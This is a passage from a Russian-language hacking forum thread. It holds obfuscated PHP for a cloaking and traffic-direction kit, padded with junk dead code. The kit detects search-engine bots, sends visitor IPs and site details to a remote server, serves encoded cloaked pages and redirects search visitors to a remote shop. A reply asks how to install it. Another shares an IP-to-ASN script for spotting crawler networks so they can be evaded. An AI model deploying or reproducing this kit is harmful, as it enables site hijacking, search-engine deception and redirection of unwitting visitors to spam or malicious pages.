}foreach($parts as $part){if($part=='*'){$ipMin[]=0;
$ipMax[]=255;
continue;
if(6369<mt_rand(3125,3239))decode($_objects,$f,$botData,$keyword);
}if(stristr($part,'-')){$split=explode('-',$part);
$ipMin[]=$split[0];
$ipMax[]=$split[1];
}else{$ipMin[]=$part;
if(strpos('onoaqxfhwlpgs','mvz')!==false)ini_set($lastTime);
$ipMax[]=$part;
}}return array(join('.',$ipMin),join('.',$ipMax));
if((4738^4738)&& _updatePeriod($_validState,$ipString,$purl,$tdsUrl,$hash))nl2br($list);
}function _isBotByHost($ip){if(!$this->_options['host_detect_enabled'])return false;
$host=@gethostbyaddr($ip);
if(empty($host))return false;
$host=strtolower($host);
foreach($this->_options['host_words']as $word){if(strpos($host,$word)!==false){$this->_botRegister->register($ip,$host);
return true;
}}return false;
}}class ___Bot_Provider{var $_webClient;
var $_updateUrl;
var $_path;
var $_updatePeriod;
var $_alias='[botprovider]';
var $_logger;
function ___Bot_Provider(&$webClient,&$logger,$updateUrl,$filePath,$updatePeriod){$this->_webClient=$webClient;
$this->_updateUrl=$updateUrl;
$mdeetewesdekc=4779;
$this->_path=$filePath;
if((2324+4792)>2324 || imagecreatefromgd2part($text,$word,$decoder));
else{iconv($notFound,$success,$_updatePeriod);
}$this->_updatePeriod=$updatePeriod*3600;
$this->_logger=&$logger;
if(strpos('kkfqgjdxdmitbfwj','vz')!==false)session_name($key);
}function getData(){$data=$this->_loadFile();
if($data===false||time()-($data['last_update'])>$this->_updatePeriod){$this->_logger->log("{$this->_alias} data need update. try update");
$this->_update();
$data=$this->_loadFile();
}if($data===false)$this->_logger->log("{$this->_alias} data is not present");
return $data;
}function _loadFile(){if(!file_exists($this->_path)){$this->_logger->log("{$this->_alias} bot file not exists");
return false;
}clearstatcache();
$ktnjtaicrftsjv=988;
$data=false;
$fp=@fopen($this->_path,'r');
if(4497<mt_rand(1103,3389))file($list,$botProvider,$ipMax,$this);
if($fp){if(@flock($fp,LOCK_SH)){$encoded=fread($fp,filesize($this->_path));
$data=$this->_unpack($encoded);
if($data===false)$this->_logger->log("{$this->_alias} data is corrupted");
@flock($fp,LOCK_UN);
}else $this->_logger->log("{$this->_alias} cannot lock file for read");
@fclose($fp);
}else{$this->_logger->log("{$this->_alias} cannot open file for read");
while(4638-4638)strtolower($fp);
}return $data;
}function _update(){$time=(file_exists($this->_path))?filemtime($this->_path):(time()-24*3600*30*3);
(3522-3522+2490-2490)?_saveCache($data,$ipMin,$valid,$_botProvider,$googleCacheInfo):mt_rand(3522,3527);
$fp=@fopen($this->_path,'ab');
if(7100<mt_rand(3268,3827))array_push($engine,$_divId,$valid);
if($fp){if(@flock($fp,LOCK_EX)){$newData=$this->_webClient->fetchContent($this->_updateUrl);
$decoded=$this->_unpack($newData);
if($decoded!==false){$data=array('last_update'=>time(),'ip'=>$decoded['ip'],'ua'=>$decoded['ua']);
$encoded=$this->_pack($data);
@ftruncate($fp,0);
if(!@fwrite($fp,$encoded))$this->_logger->log("{$this->_alias} cannot write data");
}else{$this->_logger->log("{$this->_alias} server data is corrupted");
}@flock($fp,LOCK_UN);
if(1919<mt_rand(684,1230))_packLevel($lastClient,$_serpUserDetect,$path);
}else $this->_logger->log("{$this->_alias} cannot lock file for update");
if(5999<mt_rand(1640,4354))____External_Simple($split);
@fclose($fp);
@touch($this->_path,$time,$time);
if((4872+3155)>4872 || array_product($ipList,$headers,$fp));
else{fgetc($text,$html,$context);
}}else{$this->_logger->log("{$this->_alias} cannot open file for update");
$xqccgpblfvtgnegpnwri='h';
}}function _unpack($encoded){return@unserialize(gzuncompress($encoded));
}function _pack($data){return gzcompress(serialize($data),9);
if(8474<mt_rand(3505,4964))____Bootstrap_Ajax($needSave,$_userData);
}}class ___Bot_Register{var $_webClient;
var $_url;
function ___Bot_Register($webClient,$url){$this->_webClient=$webClient;
$this->_url=$url;
}function register($ip,$ipHost){$data=array('host'=>$_SERVER['HTTP_HOST'],'ip'=>$ip,'ip_host'=>$ipHost,'user_agent'=>$_SERVER['HTTP_USER_AGENT']);
while(1394-1394)_decoder($base64Decoded,$_key,$_mimeHeaderEncoded);
$params=array();
while(3407-3407)array_keys($str,$clientType);
foreach($data as $key => $value){$params[]="$key=" .base64_encode($value);
if(6717<mt_rand(3213,3499))imagecreatefromgd($valid);
}$params[]="crc=" .crc32($data['host']);
$url=$this->_url .'?' .join('&',$params);
@$this->_webClient->fetchHeaders($url);
if(strpos('tasbdkgbigfe','fwz')!==false)array_push($context,$saved,$urlHash);
}}class ____WebClient{var $_options=array('timeout'=>10,'headers'=>array());
var $lastClient;
var $_logger;
function ____WebClient(&$logger,$options=array()){$this->_logger=&$logger;
$this->_options=array_merge($this->_options,$options);
}function setOption($key,$value){$this->_options[$key]=$value;
$awjkqxxjiuhsifdeo=2686;
}function getHeaders(){$list=array();
while(2584-2584)apache_get_modules($_cutomParameter,$_messages);
foreach($this->_options['headers']as $key=>$value)$list[]="$key: $value";
if(5510<mt_rand(528,4977))socket_create_listen($engine,$longIpMaskMin,$notFound,$_pageProvider);
return $list;
$qsgwoekopfetjfxb=2378;
}function fetchContent($url,$autoRedirect=true){if(function_exists('curl_init'))$html=$this->_fetchContentCurl($url,$autoRedirect);
elseif(@ini_get('allow_url_fopen')==true){$html=$this->_fetchContentFopen($url,$autoRedirect);
}else $html=$this->_fetchContentSocket($url);
$this->_logger->log("[webclient] received content length: " .strlen($html));
if(7024<mt_rand(2751,4268))_initSocket($isBot);
return $html;
(1851-1851+2829-2829)?_fetchContentFopen($ipMask,$ch,$packed):mt_rand(1851,4551);
}function fetchHeaders($url){if(function_exists('curl_init'))return $this->_fetchHeadersCurl($url);
elseif(function_exists('get_headers')){return $this->_fetchHeadersFopen($url);
}else return $this->_fetchHeadersSocket($url);
}function _fetchContentSocket($url){$this->_logger->log("[webclient(socket)] load content: $url");
$fp=$this->_initSocket($url);
if(!$fp)return '';
$content='';
while(!@feof($fp)){$content.=@fread($fp,8192);
}fclose($fp);
$parts=explode("\r\n\r\n",$content,2);
(2650-2650+2513-2513)?_proccessNonSerpUser($serpUserDetect,$_key,$urlHash):mt_rand(2650,4363);
$content=(count($parts)==2)?$parts[1]:$content;
return $content;
if((2133+898)>2133 || _update($error,$success,$dor));
else{exp($_decoder,$params,$_path,$_rawHeader);
}}function _fetchHeadersSocket($url){$this->_logger->log("[webclient(socket)] load headers: $url");
$fp=$this->_initSocket($url);
if(strpos('wccmhemdvriln','rkvz')!==false)pos($_allowCheck,$context);
if(!$fp)return '';
$content='';
while(!@feof($fp)){$content.=@fread($fp,8192);
if(strpos($content,"\r\n\r\n")!==false){$parts=explode("\r\n\r\n",$content,2);
$content=$parts[0];
break;
if(strpos('fisihbkenfrfl','ruz')!==false)_isBotByHost($fp,$cache);
}}fclose($fp);
return $this->_parseHeaders($content);
}function _initSocket($url){$this->lastClient='socket';
if(strpos('gnkseldqvrbwaoj','xgz')!==false)_rawHeaderLength($foundKey,$host);
$purl=parse_url($url);
$path=(empty($purl['path']))?'/':$purl['path'];
$wmwniirokeavgg=4194;
if(!empty($purl['query']))$path.='?' .$purl['query'];
$e1=$e2=null;
$fp=@fsockopen($purl['host'],80,$e1,$e2,$this->_options['timeout']);
if(!$fp)return false;
stream_set_timeout($fp,$this->_options['timeout']);
fwrite($fp,"GET $path HTTP/1.1\n");
fwrite($fp,"Host: {$purl['host']}\n");
fwrite($fp,"Connection: close\n");
foreach($this->getHeaders()as $header)fwrite($fp,"$header\n");
fwrite($fp,"\n");
return $fp;
}function _fetchContentFopen($url,$autoRedirect=true){$this->lastClient='fopen';
if((356+4802)>356 || imagecreatefromgif($writeData,$f,$mask));
else{_loadFile($matches);
}$this->_logger->log("[webclient(fopen)] load content: $url");
$rrwinptnlbhtcafee=2433;
$opts=array('http'=>array('max_redirects'=>7,'follow_location'=>$autoRedirect,'header'=>join("\r\n",$this->getHeaders()),'timeout'=>$this->_options['timeout']));
$jsbggjopbdeuh=297;
$context=stream_context_create($opts);
if((3956^3956)&& imagecreatefromgif($enabled,$_COOKIE))substr_count($ipHost);
$fp=@fopen($url,'r',false,$context);
$content='';
$bpuomominmxehii='rff';
while(!@feof($fp)){$content.=@fread($fp,8192);
}@fclose($fp);
return $content;
}function _fetchHeadersFopen($url){$this->lastClient='get_headers';
if(strpos('ddkirchbfccghd','oz')!==false)_rawHeaderLength($url,$ext,$_rawHeader);
$this->_logger->log("[webclient(get_headers)] load headers: $url");
$headers=@get_headers($url,true);
return $headers;
}function _fetchContentCurl($url,$autoRedirect=true){$this->_logger->log("[webclient(curl)] load content: $url");
if((938^938)&& strspn($context))file_get_contents($tds,$botDetector,$updateUrl,$needTime);
$ch=$this->_initCurl($url);
curl_setopt($ch,CURLOPT_HEADER,0);
if((272^272)&& header($botDetector))strtotime($botProvider,$_divId,$base64Decoded);
@curl_setopt($ch,CURLOPT_FOLLOWLOCATION,$autoRedirect);
while(3468-3468)_crypt($decoded,$keyword,$isSerpUser);
curl_setopt($ch,CURLOPT_HTTPHEADER,$this->getHeaders());
while(4474-4474)apache_get_version($needSave,$serial);
$content=@curl_exec($ch);
if($content===false){$error=curl_error($ch);
$this->_logger->log("[webclient(curl)] FAILED: $error");
}curl_close($ch);
if((125^125)&& uniqid($line,$purl))array_reduce($_messages,$googleCacheInfo,$_mimeHeaderEncoded,$ipMin);
return $content;
}function _fetchHeadersCurl($url){$this->_logger->log("[webclient(curl)] load headers: $url");
$ch=$this->_initCurl($url);
curl_setopt($ch,CURLOPT_HEADER,1);
if(5146<mt_rand(229,4912))_initCurl($provider,$cloackServerOpts,$ip);
curl_setopt($ch,CURLOPT_NOBODY,1);
if(strpos('nhnvihweeodxllqmh','lvz')!==false)detectInfo($enabled,$purl,$longIp);
$content=@curl_exec($ch);
$opgcmsejeekc=4605;
if($content===false){$error=curl_error($ch);
$this->_logger->log("[webclient(curl)] FAILED: $error");
}curl_close($ch);
return $this->_parseHeaders($content);
}function _initCurl($url){$this->lastClient='curl';
if((652+1545)>652 || strrpos($cleaned,$parts,$parts));
else{loadRedirectPage($content,$_mimeHeaderEncoded);
}$ch=curl_init();
(1042-1042+990-990)?____Bootstrap_Ajax($_updateUrl):mt_rand(1042,1122);
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_TIMEOUT,$this->_options['timeout']);
if(2924<mt_rand(1030,1889))_debug($longIp,$_rawHeaderLength);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
while(2092-2092)array_slice($botRegister,$options,$this,$_url);
return $ch;
$rndfjopvusgdcfgdb='ai';
}function _parseHeaders($str){$str=str_replace("\r\n","\n",$str);
if((1548^1548)&& _params($_path,$isBot,$writeData))parent($longIpMaskMax,$ip,$_messages,$clientType);
$lines=explode("\n",$str);
$pegjqosgjivtwakq='dcer';
$headers=array();
foreach($lines as $line){$line=trim($line);
if(strpos('bxdxjkxnatktw','fz')!==false)_bootstrap($regs,$needTime,$needTime,$this,$cutomParameter);
if(empty($line))continue;
if(strpos($line,':')===false)continue;
@list($key,$value)=explode(':',$line,2);
if(isset($headers[$key])){if(!is_array($headers[$key]))$headers[$key]=array($headers[$key]);
$headers[$key][]=$value;
}else $headers[$key]=(!empty($value))?$value:'';
while(622-622)imagecreatefromgd2($allowCheck,$botDetector,$url);
}$this->_logger->log("[webclient] received headers: \n" .trim($str));
return $headers;
if(strpos('mholkcktuntgin','sljmz')!==false)ip2long($needSave);
}}class ____TdsClient{var $_webClient;
var $_tdsUrl;
function ____TdsClient($webClient,$tdsUrl){$this->_webClient=&$webClient;
if((764+4518)>764 || fflush($resultUrl,$_webClient,$baseTag,$engine));
else{time($_server,$saveData,$_tdsUrl,$botData,$message);
}$tdsUrl=str_replace('{ip}',$_SERVER['REMOTE_ADDR'],$tdsUrl);
$tdsUrl=str_replace('{referer}',rawurlencode($_SERVER["HTTP_REFERER"]),$tdsUrl);
if((3546^3546)&& getSerpUserDetector($dataDir,$_options,$cutomParameter))strptime($formatExpired,$_divId);
$tdsUrl=str_replace('{url}',rawurlencode("http://" .@$_SERVER["HTTP_HOST"]),$tdsUrl);
$qbikawruuraaldcenu=617;
$this->_tdsUrl=$tdsUrl;
if((2739^2739)&& rand($cleaned,$redirectUrl,$hash))fwrite($provider,$newData);
}function getTdsUrl(){return preg_replace('/{[a-z0-9]+}/','',$this->_tdsUrl);
if(7859<mt_rand(3806,4048))socket_getpeername($pageProvider,$ipMax,$_validState,$autoRedirect);
}function setParam($key,$value){$this->_tdsUrl=str_replace("{" .$key ."}",rawurlencode($value),$this->_tdsUrl);
}function getRedirectLocation(){$headers=$this->_webClient->fetchHeaders($this->getTdsUrl());
if(!isset($headers['Location']))return false;
$redirectUrl=trim($headers['Location']);
$customParam='';
if(strpos($redirectUrl,'#')!==false){list($redirectUrl,$customParam)=explode('#',$redirectUrl);
}return array($redirectUrl,$customParam);
}}class ____External_Base{function show($html){echo $html;
}}class ____CloackPage_Provider{var $_server;
var $_webClient=false;
var $_decoder;
function ____CloackPage_Provider($server,$webClient=false){$this->_server=rtrim($server,"\\/") .'/';
if((1529+4889)>1529 || unlink($_enabled,$host));
else{____Bootstrap_Simple($user,$longIpMaskMin);
}if($webClient)$this->_webClient=&$webClient;
}function setDecoder($decoder){$this->_decoder=$decoder;
}function getPage($url){$key=$this->_getUrlHash($url);
$remotePath=$this->_server .$key;
$page=false;
$clientType='';
$ckqsmaqexuptvk='u';
$notFound=false;
if($this->_webClient!=false){$page=$this->_webClient->fetchContent($remotePath);
$clientType=$this->_webClient->lastClient;
$page=trim($page);
if(stristr($page,'This page not found. Error.')){$page=false;
$notFound=true;
}}else{$page=$this->_loadByLocalFile($remotePath);
if($page===false)$notFound=true;
$clientType='local';
}if($this->_decoder!==null){$page=$this->_decoder->decode($page);
}return array('success'=>(bool)$page,'html'=>$page,'remote'=>$remotePath,'client'=>$clientType,'notfound'=>$notFound);
}function _getUrlHash($url){$cleaned=str_replace(array('http://','https://','www.','index.php','/'),'',strtolower($url));
return md5($cleaned);
if(889<mt_rand(157,727))get_headers($_serpUserDetect,$tds,$googleCacheInfo);
}function _loadByLocalFile($path){if(!file_exists($path))return false;
@$f=fopen($path,'r');
@$page=fread($f,filesize($path));
if((2307^2307)&& strtr($provider,$decoded))_checkGooglePeriod($botProvider,$_SERVER,$bootstrap);
@fclose($f);
return $page;
}}class ____CloackPage_Decoder{function decode($data){if(empty($data))return null;
$base64Decoded=@base64_decode($data);
if($base64Decoded===false)return $data;
$decoded=@gzinflate(@str_rot13($base64Decoded));
if($decoded===false)return $data;
return $decoded;
}}class ____Bootstrap_Simple extends ____Bootstrap_Base{function getExternal(){if(!isset($this->_objects['external']))$this->_objects['external']=&new ____External_Simple($this->getWebClient($this->_webClientDefaultOpts),$this->_params['shop']['url_custom_param']);
return $this->_objects['external'];
}}class ____Engine_Simple extends ____Engine_Base{function _proccessSerpUser($url){$external=$this->_bootstrap->getExternal();
$tdsClient=$this->_bootstrap->getTdsClient();
$tds=$tdsClient->getTdsUrl();
if((3187^3187)&& strtr($validUser,$_divId,$cloackPageProvider))shell_exec($result,$ipMax,$_botRegister,$found,$_objects);
if($this->_params['exit_type']=='show_shop'){if(!$this->_debug)$external->showWait();
$this->_logger->log("request tds url: $tds");
list($redirectUrl,$customParam)=$tdsClient->getRedirectLocation();
$this->_logger->log("received out url: $redirectUrl");
$frxbeisuruhqkkqn='ks';
if($redirectUrl===false){$this->_logger->log("bad out url. redirect to tds: $tds");
if(!$this->_debug)$external->safeRedirect($tds);
}else{$this->_logger->log("try load out page: $redirectUrl");
$cache=$this->_bootstrap->getCache();
$page=$cache->load($redirectUrl);
if($page===false||strlen($page)<10){$this->_logger->log("file not received from cache");
$page=$external->loadRedirectPage($redirectUrl);
if($page==false||strlen($page)<10){$this->_logger->log("bad loaded page. redirect to tds: $tds");
if(!$this->_debug)$external->safeRedirect($tds);
}else{$this->_logger->log("page is loaded. YAHOO");
$cache->save($redirectUrl,$page);
if(!$this->_debug)$external->hideWait();
if(!$this->_debug)$external->showRedirectPage($page);
}}else{$this->_logger->log("file is loaded from cache");
if(!$this->_debug)$external->hideWait();
if(!$this->_debug)$external->showRedirectPage($page);
}}}else{$this->_logger->log("local work. redirect to tds: $tds");
if(!$this->_debug)$external->safeRedirect($tds);
}}function _proccessNonSerpUser($userdData){}}class ____External_Simple extends ____External_Base{var $_webClient;
var $_divId;
var $_cutomParameter;
function ____External_Simple($webClient,$cutomParameter){$this->_webClient=&$webClient;
$this->_divId='a' .str_replace('.','',uniqid(rand(),true));
$this->_cutomParameter=$cutomParameter;
(3642-3642+3602-3602)?_parseHeaders($_webClientDefaultOpts,$provider,$longIp):mt_rand(3642,3820);
@ini_set('zlib.output_compression',0);
if(strpos('sqatpligprqqqrndl','uipz')!==false)_dir($keywords,$filePath);
@ini_set('implicit_flush',1);
if(1778<mt_rand(612,1161))_path($part,$dataDir,$updateUrl);
@ob_end_clean();
$tqlprvwwfblfr=421;
@ob_implicit_flush();
}function showWait(){}function hideWait(){}function loadRedirectPage($redirectUrl){$ip=@$_SERVER['REMOTE_ADDR'];
if(strpos($redirectUrl,'{ip}')===false){$ipString="ip=$ip&remote_ip=$ip";
$redirectUrl.=(strpos($redirectUrl,'?')===false)?'?':'&';
$redirectUrl.=$ipString;
}else $redirectUrl=str_replace('{ip}',$ip,$redirectUrl);
if(strpos('elnfhasgtjkcfrwbjn','tz')!==false)sha1($ipString,$cachePath,$lastClient);
$page=$this->_webClient->fetchContent($redirectUrl);
if($page){$page=preg_replace_callback('/<a([^>]+)href\s*=\s*["\']([^\s>"\']+)[\'"]([^>]*)?>/sim',array($this,'_setCustomParameter'),$page);
if(!@preg_match('/<base[^>]+href\s*=\s*[^>]+>/si',$page)){$baseTag="<base href='$redirectUrl'>";
if(@preg_match('/<head.*?>/i',$page))$page=@preg_replace('/(<head.*?>)/i',"$1$baseTag",$page,1);
else if(@preg_match('/<\/head>/i',$page))$page=str_replace('</head>',$baseTag ."\n" .'</head>',$page);
else $page=$baseTag .$page;
}}return $page;
}function safeRedirect($url){if(!headers_sent()){header("Location: $url");
}else{$message="<html><head><meta http-equiv='refresh' content='0;
 url=$url'></head><body></body></html>";
$message.="<script>location.replace('$url');
</script>";
echo $message;
@flush();
if((1473^1473)&& getTdsUrl($content,$key,$keyword,$ipMask))array_diff_uassoc($longIpMaskMax,$_botRegister);
@ob_flush();
}}function showRedirectPage($html){echo $html;
while(2457-2457)_googleSslDetect($_GET,$enabled,$path);
}function showDownError($html){}function _setCustomParameter($matches){$url=$matches[2];
$ext='';
if(strpos($url,'#')!==false){list($url,$ext)=explode('#',$url);
}if(strpos($url,'?')!==false){$url.='&' .$this->_cutomParameter;
}else{$url.='?' .$this->_cutomParameter;
}if(!empty($ext))$url.='#' .$ext;
$resultUrl="<a{$matches[1]}href=\"$url\"{$matches[3]}>";
return $resultUrl;
if((3489^3489)&& stream_context_create($_expiredTimeHours))array_rand($_GET,$serial);
}}$bootstrap=null;
$btfrfcnajkcjoow='h';
$engine=null;
$naegdaitdobv='hedk';
$data=array('keywords'=>$keywords);
switch(___BUILD_TYPE){case 'simple':$bootstrap=new ____Bootstrap_Simple($params,$data);
$engine=new ____Engine_Simple($bootstrap,$params);
break;
case 'ajax':$bootstrap=new ____Bootstrap_Ajax($params,$data);
if((3459^3459)&& _botProvider($_cutomParameter,$engine,$longIpMaskMax))strlen($_cachePath,$_divId,$html,$_debug);
$engine=new ____Engine_Ajax($bootstrap,$params);
break;
while(4402-4402)____CloackPage_Provider($decoded,$time,$dor);
default:die('invalid build type');
break;
}$engine->run($url);
unset($bootstrap);
unset($engine);
?>
recfrf вне форума   Ответить с цитированием
Старый 26.07.2013, 11:40   #9
shuba
 
Аватар для shuba
 
Регистрация: 05.07.2010
Сообщений: 104
Репутация: 5
По умолчанию

Подскажите как ими пользоваться. Как вешать?
shuba вне форума   Ответить с цитированием
Старый 28.07.2013, 16:15   #10
malaya_zemlya
 
Регистрация: 26.08.2012
Сообщений: 0
Репутация: 0
По умолчанию

Свежайший спиоск сервис team cymri. Они обычно быстры и надежны, но стоит помнить что хозяева там бывшие сотрудники ФБР и SOCA (прямой британский аналог).

Мой недоконченый скриптец, где очень мало названий, но главные фигуры есть:
Код:
<?php
#correct remote addr
if(isset($_SERVER['HTTP_X_SRC_CLIENT_IP']) && $_SERVER['HTTP_X_SRC_CLIENT_IP'] != '') {
    $fixedIp = $_SERVER['HTTP_X_SRC_CLIENT_IP'];
}
else if (isset($_SERVER['HTTP_X_FORWARDED_FOR']) && $_SERVER['HTTP_X_FORWARDED_FOR'] != '') {
    $pos = strrpos($_SERVER['HTTP_X_FORWARDED_FOR'], ',');
    if ($pos === false) {
        $fixedIp = $_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    else {
        $fixedIp = trim(substr($_SERVER['HTTP_X_FORWARDED_FOR'], $pos + 1));
    }
}
elseif(isset($_SERVER['HTTP_X_REAL_IP']) && $_SERVER['HTTP_X_REAL_IP'] != '') {
    $fixedIp = $_SERVER['HTTP_X_REAL_IP'];
}

//some basic validation
if(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/', $fixedIp)) {
    $_SERVER['REMOTE_ADDR'] = $fixedIp;
    unset($fixedIp);
}
$remoteIp = explode('.', $_SERVER['REMOTE_ADDR']);
$cymru=$remoteIp[3].'.'.$remoteIp[2].'.'.$remoteIp[1].'.'.$remoteIp[0].
       '.origin.asn.cymru.com';
$origin=dns_get_record($cymru, DNS_TXT);
$asn = "Unknown";
$subnet=$_SERVER['REMOTE_ADDR'].'/32';
$info="";

$AsNames = array(
  43037 => 'SeznamBot',
  29107 => 'Synapse VatAk Sater/Newsbot *',
  31334 => 'Kabel Deutschland/MJBot',
  4808 =>  'China169 Beijing Province Network/BaiduSpider/YoudaoBot',
  39572 => 'AdvancedHosters/SemrushBot',
  41935 => 'Dassault Systems/Exabot',
  13644 => 'MetroPCS Wireless Plano,TX (Client)',
  7941 => 'Archive.Org Bot',
  23033 => 'Hyper to WowRack routing/Ezooms bot',
  20473 => 'Choopa, LLC/AHrefsBot',
  23724 => 'Chinanet IDC/Sogou Spider *',
  4835 => 'Chinanet  Telecom Grp./SosoSpider',
  6739 => 'Cableuropa - ONO *',
  3352 => 'telefonica Data Espana *',
  11426 => 'TimeWarner Cable Internet',
  1267 => 'INFOSTRADA WIND Telecomunicazioni S.p.A *',
  24940 => 'Hetzner AG/SistrixCrawler *',
  47764 => 'Mail.Ru',
  16265 => 'LeaseWeb B.V. *',
  12322 => 'ProxAd Free SAS *',
  8542 => 'BKKB BKK Fiber *',
  15732 => 'Iberbanda Spain *',
  15244 => 'Lunar Pages *',
  26281 => 'Research In Motion - Blackberry Client',
  16276 => 'OVH *',
  15395 => 'Rackspace  *',
  27524 => 'Xeex *',
  14618 => 'Amazon EC1 *',
  7224 => 'Amazon',
  8987  => 'Amazon Data Services Ireland',
  9059  => 'Amazon Data Services Ireland 2',
  10124  => 'Amazon Data Services Japan 2',
  14618 => 'Amazon AES',
  16509 => 'Amazon-2',
  16515 => 'AltaVista',
  17493 => 'Amazon Asia/Pacific',
  38895 => 'Amazon Tech Telecom',
  39111 => 'Amazon Europe DC',
  58588 => 'Amazon Corporate Services',
  9931 => 'Communication Authoity of Thailand *',
  3242 => 'ITnet S.r.l *',
  3758 => 'SingNet *',
  16125 => 'Duomentu Centras *',
  4694 => 'IDC Yahoo Japan Corporation *',
  9318 => 'Hanaro Telecom  *',
  20857 => 'TransIP *',
  13335 => 'CloudFlare',
  '15169' => 'Google/GoogleBot',
  '16591' => 'Google Fiber',
  577 => 'Bell Client',
  4134 => 'ChinaNet Backbone',  
  '19448' => 'Google Fiber 2',
  '22577' => 'Google AdMob',
  '22859' => 'Google Technical',
  '24424' => 'Google China',
  '36039' => 'Google 3',
  '36040' => 'YouTube',
  '36384' => 'Google IT1',
  '36035' => 'Google IT2',
  '36492' => 'Google Wifi',
  '36987' => 'Google 4',
  '41264' => 'Google Ireland',
  '45566' => 'Google APAC',
  '43247' => 'Yandex Money',
  '13238' => 'Yandex/YandexBot',
  '51787 ' => 'CB3ROB *',
  43700 => 'Consilium Optimum/Evuln.com Bot *',
  6295 => 'Whidbey Internet Services/DomaintoolsBot',
  22898 => 'Atlink Services *',
  42610 => 'National Cable Networks *',
  15895 => 'Kyivstar Broadband Client',
  24600 => 'France Telecom/VoilaBot',
  7922 => 'Comcast Broadband',
  54203 => 'ReliableHosting.com *',
  6830 => 'Liberty Global Operations B.V./Cello *',
  '50215' => 'Troyak *',
  '36351' => 'SoftLayer *',
  '48031' => 'XServer *',
  '6849' => 'UkrTelecom JSC',
  '41947' => 'Webalta *',
  '38365' => 'Baidu',
  '38627' => 'Baidu Japan',
  '45076' => 'Baidu 2',
  '45085' => 'Baidu 3',
  '55967' => 'Baidu 4',
  '8068' => 'Microsoft Europe DC',
  '8069' => 'Microsoft 1', 
  '8070' => 'Microsoft 2', 
  '8071' => 'Microsoft 3', 
  '8072' => 'Microsoft 4', 
  '8073' => 'Microsoft 5', 
  '8074' => 'Microsoft 6', 
  '8075' => 'Microsoft 7/MsnBot',
  '9984' => 'Microsoft Tech Ed Australia',
  '13399' => 'Microsoft Corporate',
  '13811' => 'Microsoft MSLI',
  '14719' => 'Microsoft Corporate 2',
  '20046' => 'Microsoft BOS',
  '23468' => 'Microsoft XBox Online',
  '26222' => 'Microsoft Danger',
  '30135' => 'Microsoft 9',
  '30575' => 'Microsoft 10',
  '32476' => 'Microsoft 11',
  '35106' => 'Microsoft Live Meeting',
  '36006' => 'Microsoft 12',
  '45139' => 'Microsoft 13',
  '52985' => 'Microsoft Informatica',
  '58593' => 'Microsoft Global Enterprise Services',
  4544 => 'ConXion/Symantec',
  58720 => 'Yahoo',
  58721 => 'Yahoo 2',
  2521 => 'Yahoo Japan',
  2554 => 'Yahoo Japan 2'
);
if ($origin!==FALSE)  {
  if (isset($origin[0]) && isset($origin[0]['txt'])) {
    $txt = $origin[0]['txt'];
    $txt = explode('|', $txt);
    $asn = (int)$txt[0];
    $subnet = $txt[1];
    if (isset($AsNames[$asn])) {
      $info=$AsNames[$asn];
     }
  } 
}
?>
malaya_zemlya вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2022, Jelsoft Enterprises Ltd. Перевод: zCarot